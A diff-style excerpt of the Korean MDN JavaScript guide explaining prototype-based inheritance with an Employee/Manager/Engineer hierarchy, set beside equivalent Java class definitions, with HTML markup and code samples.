+<p>자바스크립트는 생성자 함수와 프로토타입 객체를 연결해 상속을 구현합니다. 이런 식으로 직원(<code>Employee</code>) — 관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>) 예제를 똑같이 구현할 수 있지만 조금 다른 * 사용합니다. 먼저, 이름(<code>name</code>),  부서(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">dept</span></font>) 속성을 명시하여 직원(<code>Employee</code>) 생성자 함수를 정의합니다. 그런 다음, 직원(<code>Employee</code>)의 생성자를 호출한 후 보고(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">reports</span></font>) 속성을 명시해 관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>) 생성자 함수를 정의합니다. 마지막으로 <code>Employee.prototype</code> 에서 파생된 새로운 객체를  관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>) 생성자 함수의 프로토타입으로 지정합니다. 그런 다음 새로운 관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>)를 만들면 관리자(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Manager</span></font>) 객체를 직원(<code>Employee</code>) 객체로부터 이름(<code>name</code>),  부서(<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">dept</span></font>) 속성을 상속받습니다. </p>
+
+<h3 id="속성의_추가_삭제">속성의 추가 삭제</h3>
+
+<p>클래스 기반의 언어들에서는, 일반적으로 컴파일 시점에 클래스를 생성한 후에 컴파일 시점 혹은 실행 시에 해당 클래스의 인스턴스를 생성합니다. 클래스가 한번 정의된 후에 클래스를 다시 컴파일 하지 않는다면, 속성의 갯수나 형식을 변경할 수 없습니다. 하지만 자바스크립트에서느 실행 시에 객체의 속성을 추가 혹은 삭제 할 수 있습니다.  만약 객체군의 프로토타입으로 사용되는 객체에 속성을 추가하면, 프로토타입이 되는 객체들에도 새로운 속성이 추가가 됩니다.</p>
+
+<h3 id="차이점들에_대한_정리">차이점들에 대한 정리</h3>
+
+<p>다음 표는 이런 차이점들에 대한 간략한 요약을 포함하고 있습니다. 이번 장의 다음 내용들은 객체의 계층 구조를 생성하기 위한 자바스크립트 생성자와 프로토타입들의 사용에 대한 세부 사항에 대해 기술합니다. 그리고 동일한 작업을 자바에서 어떻게 처리해야 하는지도 비교해서 살펴보겠습니다.</p>
+
+<table class="standard-table">
+ <caption>클래스 기반(자바)과 프로토타입(prototype)기반(자바스크립트) 객체 시스템의 비교</caption>
+ <thead>
+  <tr>
+   <th scope="col">클래스 기반(자바)</th>
+   <th scope="col">원형 기반(자바스크립트)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>클래스와 인스턴스는 별개입니다.</td>
+   <td>모든 객체는 다른 객체로부터 상속을 받습니다.</td>
+  </tr>
+  <tr>
+   <td>클래스 정의를 가지고 클래스를 생성하고 생성자 메서드로 인스턴스를 생성합니다.</td>
+   <td>생성자 함수를 가지고 객체군을 정의 및 생성합니다.</td>
+  </tr>
+  <tr>
+   <td>new 연산자로 하나의 객체(인스턴스)를 생성합니다.</td>
+   <td>동일합니다.</td>
+  </tr>
+  <tr>
+   <td>이미 존재하는 클래스에 대한 하위 클래스를 정의함으로써 객체의 계층구조를 생성합니다.</td>
+   <td>하나의 객체를 생성자 함수와 결합된 프로토타입에 할당함으로써 객체의 계층구조를 생성 합니다.</td>
+  </tr>
+  <tr>
+   <td>클래스의 상속 구조에 따라 속성을 상속 받습니다.</td>
+   <td>프로토타입 체인에 따라  속성을 상속 받습니다.</td>
+  </tr>
+  <tr>
+   <td>클래스 정의는 모든 인스턴스의 모든 속성을 명시합니다. 실행시에 동적으로 속성을 추가할 수 없습니다.</td>
+   <td>생성자 함수 혹은 프로토타입은 초기 속성들을 명시합니다. 개별 객체 혹은 전체 객체군에 동적으로 속성을 추가 삭제할 수 있습니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="직원_예제">직원 예제</h2>
+
+<p>이장의 나머지 부분에서는 다음과 같은 직원 객체의 계층구조를 사용합니다. </p>
+
+<div class="twocolumns">
+<p>직원 객체의 계층 구조.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/3060/figure8.1.png"></p>
+
+<ul>
+ <li>직원(<code>Employee</code>) 객체는 빈 문자열을 기본값으로 가지는 이름(<code>name</code>) 그리고 "일반(general)"을 기본 값으로 가지는 부서(<code>dept</code>)를 속성으로 가집니다.</li>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">관리자(</font><code>Manager</code>)객체는 직원(<code>Employee</code>) 객체를 근간으로 하며, 직원 객체들을 포함하기 위한 빈 배열을 기본 값으로 하는 보고(<code>reports</code>)속성을 가지고 있습니다.</li>
+ <li>근로자(<code>WorkerBee</code>)객체 또한 직원(<code>Employee</code>) 객체를 근간으로 하며, 문자열들을 포함하기 위한 빈 배열을 기본 값으로 하는 프로젝트(<code>projects</code>)속성을 가집니다.</li>
+ <li>영업사원(<code>SalesPerson</code>)객체는 또한 근로자(<code>WorkerBee</code>) 객체를 근간으로 하며, 100을 기본값으로 하는 할당량(<code>quota</code>)를 속성으로 가집니다. 또한 같은 부서내의 모든 영업사원을 지칭하기 위한 부서 속성을 "판매부서"로 재정의 합니다. </li>
+ <li>엔지니어(<code>Engineer</code>)객체도 근로자(<code>WorkerBee</code>) 객체를 근간으로 하며, 빈 문자열을 기본값으로 가지는 장비(<code>machine</code>) 속성을 가집니다.그리고 엔지니어링(engineering)이라는 값으로 부서 속성을 재정의 합니다.</li>
+</ul>
+</div>
+
+<h2 id="계층_구조_생성">계층 구조 생성</h2>
+
+<p>직원 계층 구조를 구현하기 위한 적절한 생성자 함수를 정의하는 방법에는 여러가지가 있습니다. 개발하려고 하는 어플리케이션에 따라 생성자 함수를 정의 하는 방법은 달라질 수 있습니다. </p>
+
+<p>이번 절에서는 상속을 구현하기 위한 간단한 (비교적 유연하지는 않은) 정의 방법을 보여 줄 것입니다. 이런 정의 방법을 사용하게되면, 객체를 생성할 때 어떤 속성 값도 지정을 할 수 없습니다. 새로이 생성된 객체들은 기본값들을 가지고 있으며, 나중에 해당 속성 값들을 변경할 수 있습니다.</p>
+
+<p>실제 어플리케이션에서는, 객체를 생성할때, 해당 객체가 가져야할 속성을 인자로 받는 생성자를 정의 할수 있습니다.(보다 자세한 사항은 다음을 참조하세요. <a href="#More_flexible_constructors">More flexible constructors</a>). 지금 당장은, 상속이 어떻게 작동하는지를 보여주기 위한 간단한 예제를 사용합니다. </p>
+
+<p>다음의 자바와 자바스크립트로 작성된 직원 정의는 비슷합니다. 차이점은 자바언어에서는 개별 속성에 대한 타입(type)을 일일이 지정을 해야 하지만  자바스크립트에서는 일일이 개별 속성에 대한 타입(type)을 지정할 필요가 없다는 것입니다.(이런 이유로 자바스크립트가 약하게 형식화된 언어로 불리는 반면 자바는 <a href="http://en.wikipedia.org/wiki/Strong_and_weak_typing">강력하게 형식화된 언어</a>로 불립니다.)</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="자바스크립트">자바스크립트</h4>
+
+    <pre class="brush: js">
+function Employee() {
+  this.name = "";
+  this.dept = "general";
+}</pre>
+   </td>
+   <td>
+    <h4 id="자바">자바</h4>
+
+    <pre class="brush: java">
+public class Employee {
+   public String name = "";
+   public String dept = "general";
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>관리자와 근로자 정의는 계층 구조상에서 상위에 위치하는 객체를 어떻게 표시하는지에 대한 차이점을 보여 줍니다. 자바스크립트에서는 생성자 함수 정의 이후에 언제든 생성자 함수의 프로토타입(<code>prototype)</code> 속성의 값으로 프로토타입 인스턴스를 추가할 수 있습니다.  자바에서는 클래스 정의에 상위 클래스를 명시해야 합니다. 클래스 정의 이후에는 상위 클래스를 변경할 수 없습니다.</p>
+
+<div class="twocolumns">
+<h4 id="자바스크립트_2">자바스크립트</h4>
+
+<pre class="brush: js">function Manager() {
+  Employee.call(this);
+  this.reports = [];
+}
+Manager.prototype = Object.create(Employee.prototype);
+
+function WorkerBee() {
+  Employee.call(this);
+  this.projects = [];
+}
+WorkerBee.prototype = Object.create(Employee.prototype);
+</pre>
+
+<h4 id="자바_2">자바</h4>
+
+<pre class="brush: java">public class Manager extends Employee {
+   public Employee[] reports = new Employee[0];
+}
+
+
+
+public class WorkerBee extends Employee {
+   public String[] projects = new String[0];
+}
+
+
+</pre>
+</div>
+
+<p>엔지니어와 영업사원 정의들은 객체들을 생성합니다. 생성된 객체는 근로자 객체의 하위 객체이고 따라서 직원 객체의 하위 객체가 됩니다. 상속 관계에 따라 엔지니어와 영업사원 객체들은 근로자와 직원객체의 속성을 가지게 됩니다. 게다가, 상속받은 부서 속성은 엔지니어와 영업사원에서 재정되어 새로운 값을 가지게 됩니다. </p>
+
+<div class="twocolumns">
+<h4 id="자바스크립트_3">자바스크립트</h4>
+
+<pre class="brush: js">function SalesPerson() {
+   WorkerBee.call(this);
+   this.dept = "sales";
+   this.quota = 100;
+}
+SalesPerson.prototype = Object.create(WorkerBee.prototype);
+
+function Engineer() {
+   WorkerBee.call(this);
+   this.dept = "engineering";
+   this.machine = "";
+}
+Engineer.prototype = Object.create(WorkerBee.prototype);
+</pre>
+
+<h4 id="Java">Java</h4>
+
+<pre class="brush: java">public class SalesPerson extends WorkerBee {
+   public double quota;
+   public dept = "sales";
+   public quota = 100.0;
+}
+
+
+public class Engineer extends WorkerBee {
+   public String machine;
+   public dept = "engineering";
+   public machine = "";
+}
+</pre>
+</div>
+
+<p>이런 정의 방법을 통해, 기본값을 가지는 각각의 속성을 포함하는 객체의 인스턴스를 생성할 수 있습니다. 다음 그림은 새로운 객체를 생성하고 새로운 객체에 대한 속성값들을 보여 표시하기 위한 자바스크립트의 정의들을 보여 줍니다.</p>
+
+<div class="note">
+<p><strong>유의사항: </strong>클래스 기반 언어들에서 인스턴스라는 용어는 특정한 기술적 의미를 가지고 있습니다. 이러한 언어들에서,  하나의 인스턴스란 하나의 클래스의 개별적인  실체이며 클래스와는 근본적으로 다릅니다. 자바스크립트에서는 클래스와 인스턴스 간의 차이가 없기 때문에, "인스턴스"가 이런 기술적 의미를 갖지 않습니다. 하지만, 자바스크립트에 대해서 얘기하자면, 비공식적으로 "인스턴스"는 특정한 생성자 함수를 이용하여 생성된 오브젝트를  의미합니다. 그래서 이번 예제에서는 <code><code>jane</code></code>이 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: #eeeeee; font-size: 16px;"> Engineer </span></font>의 인스턴스라고 할 수 있습니다. 이와 유사하게, 부모, 자식, 상위, 하위의 용어들은 자바스크립트에서 공식적인 의미를 갖지 않습니다; 다만 프로토타입 체인 상의 상위 또는 하위 객체를 지칭하기 위해서 비공식적으로 사용할 수 있습니다.</p>
+</div>
+
+<h3 id="간단한_정의로_객체_생성">간단한 정의로 객체 생성</h3>
+
+<div class="twocolumns">
+<h4 id="객체의_계층구조">객체의 계층구조</h4>
+
+<p>오른쪽에 보이는 코드로 생성된 객체의 계층 구조는 아래와 같습니다.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/10412/=figure8.3.png"></p>
+
+<h4 id="개별_객체들">개별 객체들</h4>
+
+<pre class="brush: js">var jim = new Employee;
+// jim.name is ''
+// jim.dept is 'general'
+
+var sally = new Manager;
+// sally.name is ''
+// sally.dept is 'general'
+// sally.reports is []
+
+var mark = new WorkerBee;
+// mark.name is ''
+// mark.dept is 'general'
+// mark.projects is []
+
+var fred = new SalesPerson;
+// fred.name is ''
+// fred.dept is 'sales'
+// fred.projects is []
+// fred.quota is 100
+
+var jane = new Engineer;
+// jane.name is ''
+// jane.dept is 'engineering'
+// jane.projects is []
+// jane.machine is ''
+</pre>
+</div>
+
+<h2 id="객체_속성들">객체 속성들</h2>
+
+<p>이번 장에서는 객체가 프로토타입체인 상의 다른 객체로부터 특성을 상속받는 방법과 런타임 상에서 프로퍼티를 추가하면 무슨 일이 일어나는 지 살펴봅니다.</p>
+
+<h3 id="속성_상속">속성 상속</h3>
+
+<p>아래 구문처럼 <code>WorkerBee</code> 생성자로 <code>mark</code> 객체를 생성했다고 가정합니다.</p>
+
+<pre class="brush: js">var mark = new WorkerBee;
+</pre>
+
+<p>new 연산자를 만나면, 자바스크립트는 새로운 일반 객체를 생성하고 암묵적으로 내부의 [[Prototype]](<code>__proto__</code>) 속성의 값을 <code>WorkerBee.prototype</code> 의 값으로 할당하며, 해당 객체를 <code>this</code> 키워드의 값으로써 생성자 함수 <code>WorkerBee</code>에 전달합니다. 내부의 [[Prototype]] 속성은 속성값을 반환하기 위해 사용할 프로토타입 체인을 결정합니다. 이런 속성들이 할당되면, 자바스크립트는 새 객체를 반환하고, 할당 구문에 의해 변수 <code>mark</code>를 객체에 할당합니다.</p>
+
+<p>이러한 절차는 <code>mark</code>가 프로토타입 체인으로부터 상속받는  속성의 값을 <code>mark</code> 객체 내부에(local values) 명시적으로 부여하진 않습니다. 당신이 속성의 값을 요청하면, 자바스크립트는 먼저 해당 객체에 값이 존재하는지 확인합니다. 존재한다면, 해당 값이 반환됩니다. 만약 해당 객체에 값이 없다면, 프로토타입 체인을 (내장 [[Prototype]] 속성;<code>__proto__</code>을 이용하여)확인합니다. 체인 상의 어떤 객체가 해당 속성의 값을 가지고 있다면 그 값이 반환됩니다. 그런 속성이 발견되지 않는다면, 자바스크립트는 객체가 속성을 가지고있지 않다고 할 것입니다. 이런 식으로, <code>mark</code> 객체는 다음의 속성과 값을 가집니다.</p>
+
+<pre class="brush: js">mark.name = "";
+mark.dept = "general";
+mark.projects = [];</pre>
+
+<p><code>mark</code> 객체는 <code>mark.__proto__</code>로 연결되어 있는 원형의 객체로부터 이름(<code>name</code>)과 부서(<code>dept</code>)에 대한 값을 상속 받습니다. 근로자(<code>WorkerBee</code>) 생성자로부터 <code>projects</code>속성에 대한 값을 할당을 받습니다.이것들이 자바스크립트내에서 속성과 속성 값의 상속입니다. 이런 과정의 몇몇 세부 사항들은 <a href="#Property_inheritance_revisited">Property inheritance revisited</a>에서 다룹니다. </p>
+
+<p>이런 생성자들은 당신이 직접 인스턴스에만 해당 하는 값을 설정하도록 하지 않기때문에, 객체에 대한 이런 정보들은 일반적으로 적용됩니다. 근로자(<code>WorkerBee</code>)로부터 생성된 모든 새로운 객체들은 기본값이 적용된 속성 값들을 가지게 됩니다. 물론, 속성 값들을 변경할 수 있습니다. 아래처럼 특정 인스턴스에만 해당하는 값을 설정할 수 있습니다. </p>
+
+<pre class="brush: js">mark.name = "Doe, Mark";
+mark.dept = "admin";
+mark.projects = ["navigator"];</pre>
+
+<h3 id="속성_추가">속성 추가</h3>
+
+<p>자바스크립트에선, 실행 시점에 특정 객체에 속성들을 추가 할 수 있습니다.생성자 함수가 제공하는 속성외에 다른 속성을 추가할 수 있습니다. 특정 단일 객체에 속성을 추가하기 위해선, 다음과 같이 해당 객체에 값을 할당 하면 됩니다:</p>
+
+<pre class="brush: js">mark.bonus = 3000;
+</pre>
+
+<p>이렇게 하면 <code>mark</code>객체는 보너스(<code>bonus</code>)속성을 가지게 됩니다. 하지만 mark객체를 제외한 나머지 근로자<code>(WorkerBee)</code>객체들은 보너스 속성을 가지지 않습니다. </p>
+
+<p>만약 생성자 함수의 원형으로 사용되는 객체에 새로운 속성을 추가한다면,  해당 프로토타입 객체(prototype)의 속성을 상속받는 모든 객체에 해당 속성이 추가됩니다. 예를 들면, 전문분야(<code>specialty</code>)속성을 모든 직원 객체에 다음과 같은 구문으로 추가할 수 있습니다:</p>
+
+<pre class="brush: js">Employee.prototype.specialty = "none";
+</pre>
+
+<p>위의 구문을 실행한 직후, <code>mark</code>객체는 <code>"none"</code>이라는 값을 가지는 전문분야<code>(specialty)</code>속성을 가지게 됩니다.아래의 그림들은 해당 속성을 추가한 후 엔지니어<code>(Engineer)</code> 프로토타입에 대해 해당 속성을 재정의 했을 경우 각 객체에 미치는 영향을 보여줍니다.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4422/=figure8.4.png" style="height: 519px; width: 833px;"><br>
+ <span style="font-size: 12px; line-height: 17px;"><strong>속성의 추가</strong></span></p>
+
+<h2 id="좀_더_유연한_생성자들">좀 더 유연한 생성자들</h2>
+
+<p>지금까지 살펴 본 생성자 함수들은 인스턴스를 생성하면서 동시에 속성값을 지정할 수 없었습니다. 자바의 경우, 인스턴스를 생성 시 생성자에 인자들을 넘겨주어 인스턴스의 속성들을 초기화 할 수 있습니다. 다음의 예제 그림들은 자바처럼 인스턴스 생성 시 속성값을 설정하는 방법을 보여줍니다.</p>
+
+<p><img alt="" class="internal" id="figure8.5" src="/@api/deki/files/4423/=figure8.5.png" style="height: 481px; width: 1012px;"><br>
+ <small><strong>Specifying properties in a constructor, take 1</strong></small></p>
+
+<p>다음의 표는 자바와 자바스크립트 각각의 생성자와 객체에 대한 정의를 보여 줍니다. </p>
+
+<div class="twocolumns">
+<h4 id="자바스크립트_4">자바스크립트</h4>
+
+<h4 id="자바_3">자바</h4>
+</div>
+
+<div class="twocolumns">
+<pre class="brush: js">function Employee (name, dept) {
+  this.name = name || "";
+  this.dept = dept || "general";
+}
+</pre>
+
+<pre class="brush: java">public class Employee {
+   public String name;
+   public String dept;
+   public Employee () {
+      this("", "general");
+   }
+   public Employee (String name) {
+      this(name, "general");
+   }
+   public Employee (String name, String dept) {
+      this.name = name;
+      this.dept = dept;
+   }
+}
+</pre>
+</div>
+
+<div class="twocolumns">
+<pre class="brush: js">function WorkerBee (projs) {
+
+ this.projects = projs || [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+
+<pre class="brush: java">public class WorkerBee extends Employee {
+   public String[] projects;
+   public WorkerBee () {
+      this(new String[0]);
+   }
+   public WorkerBee (String[] projs) {
+      projects = projs;
+   }
+}
+</pre>
+</div>
+
+<div class="twocolumns">
+<pre class="brush: js">
+function Engineer (mach) {
+   this.dept = "engineering";
+   this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+</pre>
+
+<pre class="brush: java">public class Engineer extends WorkerBee {
+   public String machine;
+   public Engineer () {
+      dept = "engineering";
+      machine = "";
+   }
+   public Engineer (String mach) {
+      dept = "engineering";
+      machine = mach;
+   }
+}
+</pre>
+</div>
+
+<p>자바스크립트의 속성값을 설정하는 방법은 기본값을 설정하기 위한 관용구를 사용합니다.</p>
+
+<pre class="brush: js">this.name = name || "";
+</pre>
+
+<p>자바스크립트의 OR 논리 연산자(<code>||</code>) 첫번째 인자를 평가합니다. 첫번째 인자가 참이면 첫번째 인자를 반환하고 그렇지 않은 경우는 두번째 인자를 반환합니다. 그러므로, 위의 코드는 <code>name</code>인자가 <code>name</code> 속성에 사용 가능한 값을 가지고 있는지 확인합니다. 확인 결과 <code>name</code>속성에 사용가능한 값을 가지고 있을 경우, 해당 값을 <code>this.name</code>에 설정하게 됩니다. 반대로 그렇지 않은 경우는 빈 문자열을 <code>this.name</code>에 설정합니다.얼핏 보면 헛갈리지만 보다 짧은 관용구를 사용하였습니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 만약 인자로 false와 빈 문자열 값을 줄 경우 해당 구문은 예상한 대로 작동하지 않을 수 있습니다.</p>
+</div>
+
+<p>이런 정의들을 가지고, 객체의 인스턴스를 생성할때, 객체 자신만의 속성에 대한 값을 지정할 수 있습니다. 새로운 <code>Engineer</code>를 생성하기 위해서 다음과 같은 구문을 사용할 수 있습니다:</p>
+
+<pre class="brush: js">var jane = new Engineer("belau");
+</pre>
+
+<p><code>Jane</code>의 속성들은 다음과 같습니다:</p>
+
+<pre class="brush: js">jane.name == "";
+jane.dept == "engineering";
+jane.projects == [];
+jane.machine == "belau"
+</pre>
+
+<p>위와 같은 코드 구문으로는 <code>name</code>과 같이 상속받은 속성에 대한 초기값을 지정할 수 없습니다.만약 상속 받은 속성의 초기값을 설정하고자 한다면, 생성자 함수의 코드를 변경해야 합니다.</p>
+
+<p>지금까지, 원형 객체를 생성한 후, 그 새로운 객체 자신의 속성과 속성 값을 지정하는 것을 살펴 보았습니다. 프로토타입 체인상에서 해당 생성자가 상위 객체에 대한 생성자를 직접 호출 함으로써 더 많은 속성을 추가하도록 할 수 있습니다. 다음의 그림은 새로운 정의 방법을 보여 줍니다.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br>
+ <small><strong>생성자내에서 속성들 정의, 그림 2</strong></small></p>
+
+<p>그럼 좀 더 상세하게 생성자 내에서 속성들을 정의하는 것을 살펴 보겠습니다. 다음은 엔지니어(<code>Engineer)</code> 생성자의 새로운 정의입니다:</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+
+<p>다음과 같이 새로운 엔지니어(<code>Engineer)</code>객체를 생성할 수 있습니다:</p>
+
+<pre class="brush: js">var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+</pre>
+
+<p>다음과 같은 순서에 따라 객체를 생성하고 속성을 정의하게 됩니다:</p>
+
+<ol>
+ <li><code>new</code> 연산자는 프로토타입 객체를 생성하고 생성된 객체의 <code>__proto__</code>속성을 <code>Engineer.prototype</code>으로 설정합니다.</li>
+ <li><code>new</code> 연산자는 새로이 생성된 객체를 엔지니어<code>(Engineer)</code>생성자에 this 키워드의 값으로 전달합니다.</li>
+ <li>생성자는 생성한 객체에 대한 <code>base</code>라는 새로운 속성을 생성하고 근로자<code>(WorkerBee)</code> 생성자의 값을 base 속성에 할당합니다. 이런 과정은 근로자<code>(WorkerBee)</code> 생성자를 엔지니어<code>(Engineer)</code>객체의 메서드로 만듭니다. <code>base</code> 속성의 이름은 그리 특별하지 않습니다. 다른 어떤 속성명을 사용해도 무방합니다. <code>base</code> 속성명은 단지 해당 속성의 목적을 환기시키기 위한 것입니다.</li>
+ <li>
+  <p>생성자는 <code>base</code> 메서드에 필요한 인자들 (<code>"Doe, Jane"</code> and <code>["navigator", "javascript"]</code>)을 주어 호출합니다.명시적으로 생성자에서 사용한 <code>"engineering"</code>은 모든 엔지니어<code>(Engineer)</code>객체들이 상속받은 부서 속성에 대한 동일한 값을 가지며, 직원<code>(Employee)</code>으로부터 상속받은 값을 재정의 하는 것을 나타냅니다.</p>
+ </li>
+ <li><code>base</code>가 엔지니어<code>(Engineer)</code>의 메서드이기때문에 <code>base</code>메서드 내에서 <code>this</code>키워드를 스텝1에서 생성한 객체를 지칭하도록 해줍니다. 따라서, 근로자<code>(WorkerBee)</code> 함수는 차례대로 <code>"Doe, Jane"</code>과 <code>"engineering"</code> 인자를 직원<code>(Employee)</code>생성자에 전달합니다. 직원<code>(Employee)</code>생성자로부터 반환 시, 근로자<code>(WorkerBee)</code>함수는 남은 인자들을 프로젝트<code>(projects)</code>속성을 설정하기 위해 사용합니다. </li>
+ <li><code>base</code>메서드로부터 반환 시, 엔지니어<code>(Engineer)</code> 생성자는 해당 객체의 장비<code>(machine)</code>속성을 "belau"로 초기화 합니다.</li>
+ <li>생성자로부터 반환 시, 새롭게 생성된 객체를 <code>jane</code>변수에 할당 합니다.</li>
+</ol>
+
+<p>엔지니어(<code>Engineer</code>) 생성자내에서 근로자(<code>WorkerBee</code>)생성자를 호출하면, 엔지니어(<code>Engineer</code>)에 대한 상송을 적절하게 설정할 수 도 있을 것이라고 생각할 수 있을 것입니다.하지만 그렇지 않습니다. 근로자(<code>WorkerBee</code>)생성자를 호출하는 것은 엔지니어<code>(Engineer)</code>객체로 하여금 호출되는 모든 생성자 함수내에서 열거된 속성들을 가지고도록 보장합니다.그러나, 나중에 직원<code>(Employee)</code>혹은 근로자<code>(WorkerBee)</code> 원형에 속성을 추가한다면, 엔지니어<code>(Engineer)</code>객체에 의해 추가된 속성들은 상속이 되지 않습니다. 예를 들어, 아래와 같은 구문을 작성하였다고 가정합니다:</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+Employee.prototype.specialty = "none";
+</pre>
+
+<p><code>jane</code>객체는 전문분야<code>(specialty)</code>속성을 상속받지 않습니다.</p>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+Employee.prototype.specialty = "none";
+</pre>
+
+<p>이제 <code>jane</code>객체의 전문분야<code>(specialty)</code>속성은 "none"이 되었습니다.</p>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global Objects/Function/call">call()</a></code> 혹은 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/docs/JavaScript/Reference/Global Objects/Function/apply">apply()</a></code> 메서드를 사용는 것은 상속을 구현하는 또 다른 방법입니다. 다음의 두 예제는 동일한 결과를 보여줍니다. </p>
+
+<div class="twocolumns">
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+
+<pre class="brush: js">function Engineer (name, projs, mach) {
+  WorkerBee.call(this, name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+</div>
+
+<p><code>base</code>를 사용하지 않고 구현을 하기 때문에, <code>call()</code> 메서드를 사용하여 상속을 구현하는 것이 보다 깔끔합니다.</p>
+
+<h2 id="속성_상속의_재고">속성 상속의 재고</h2>
+
+<p>이전 절에서 자바스크립트의 생성자와 원형(prototype)이 어떤 방식으로 상속과 객체의 계층 구조를 제공하는지를 살펴 보았습니다. 이번장에서는 이전 절에서 반드시 명백하게 짚고 넘어가지 않은 일부 미묘한 점들에 대해 살펴보겠습니다.</p>
+
+<h3 id="객체_자신의_값과_상속받은_값">객체 자신의 값과 상속받은 값</h3>
+
+<p>이번 장에서 이미 설명된 것 처럼, 객체의 속성에 접근할 때, 자바스크립트는 아래와 같은 절차를 따릅니다.</p>
+
+<ol>
+ <li>해당 속성에 대한 객체 자신의 값이 있는지 확인하고 있으면 그 값을 반환한다.</li>
+ <li>객체 자신의 값이 없으면 <code>__proto__</code> 속성을 사용하여 프로토타입 체인을 확인한다.</li>
+ <li>프로토타입 체인상의 특정 객체가 해당 속성에 대한 값을 가지고 있다면 해당 객체의 값을 반환한다.</li>
+ <li>해당 속성을 가진 어떤 객체도 발견하지 못하면 해당 객체는 그 속성을 가지고 있지 않은 것으로 판단한다.</li>
+</ol>
+
+<p>이런 단계들의 결과는 생성자 및 프로토타입 체인등의 것들을 어떻게 정의 하느냐에 따라 달라집니다. 아래와 같은 원래의 예제는 이런 정의들을 가지고 있습니다:</p>
+
+<pre class="brush: js">function Employee () {
+  this.name = "";
+  this.dept = "general";
+}
+
+function WorkerBee () {
+  this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+
+<p>이런 정의들을 가지고, <code>amy</code>라는 근로자<code>(WorkerBee)</code>인스턴스를 아래와 같이 생성하였다고 가정합니다.</p>
+
+<pre class="brush: js">var amy = new WorkerBee;
+</pre>
+
+<p><code>amy</code>객체는 프로젝트라는 자신만의 속성을 가집니다.이름과 부서 속성들은 <code>amy</code> 자신의 속성이 아닌 <code>amy</code>객체의 <code>__proto__</code>속성을 통해 가지고 온 속성들입니다. 따라서 <code>amy</code>는 이런 속성들의 값을 가지게 됩니다.</p>
+
+<pre class="brush: js">amy.name == "";
+amy.dept == "general";
+amy.projects == [];
+</pre>
+
+<p>직원(<code>Employee)</code>과 연관되어 있는 프로토타입내의 이름 속성의 값을 아래와 같이 변경하였다고 가정합니다.</p>
+
+<pre class="brush: js">Employee.prototype.name = "Unknown"
+</pre>
+
+<p>얼핏보기에, 새로운 값이 모든 직원 인스턴스에 적용이 될것으로 예상하겠지만 그렇지 않습니다. </p>
+
+<p>직원 객체의 인스턴스를 생성할때, 해당 인스턴스는 이름 속성에 대해 자신이 가지고 있는 값(빈 문자열)을 취하게 됩니다.이것이 의미하는 것은 새로운 직원 객체를 생성하여 근로자(<code>WorkerBee)</code>의 프로토타입에 설정을 할때, <code>WorkerBee.prototype</code>이 이름 속성에 대한 자신만의 값을 가지고 있다는 것입니다.그러므로, <code>amy</code>객체(근로자 인스턴스)의 이름 속성에 대해 검색할때, <code>WorkerBee.prototype</code>내에서 이름 속성에 대한 <code>amy</code> 객체 자신의 값을 찾게됩니다. 그렇기때문에 <code>Employee.prototype</code>까지의 프로토타입 체인을 검색하지 않게 됩니다.</p>
+
+<p>실행시에 객체의 속성 값을 변경하고 새로운 값이 모든 하위 객체들에게도 적용되도록 할려면, 객체의 생성자함수에서는 속성을 정의할 수 없습니다. 대신에, 생성자와 연결된 프로토타입에 추가할 수 있습니다. 예를 들어, 이전의 코드를 아래와 같이 변경하였다고 가정합니다:</p>
+
+<pre class="brush: js">function Employee () {
+  this.dept = "general";
+}
+Employee.prototype.name = "";
+
+function WorkerBee () {
+  this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+
+var amy = new WorkerBee;
+
+Employee.prototype.name = "Unknown";
+</pre>
+
+<p>이 경우 <code>amy</code> 객체의 이름 속성의 값은 "Unknown"이 됩니다.</p>
+
